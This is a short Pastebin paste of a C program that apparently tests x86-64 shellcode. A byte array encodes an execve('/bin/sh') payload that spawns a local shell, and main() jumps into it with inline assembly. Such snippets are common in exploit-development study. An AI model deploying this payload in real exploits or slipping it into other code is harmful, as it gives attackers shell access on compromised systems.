Guest User

Untitled

a guest
Jun 24th, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. //cc execshell.c && ./a.out
  2. #include <stdio.h>
  3. #include <string.h>
  4.  
  5. unsigned const char shellc[] = "\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05";
  6. void main() {
  7. printf("bytes from shellcode: %lu\n", strlen(shellc)-1);
  8. asm("jmp shellc");
  9. return;
  10. }
Add Comment
Please, Sign In to add comment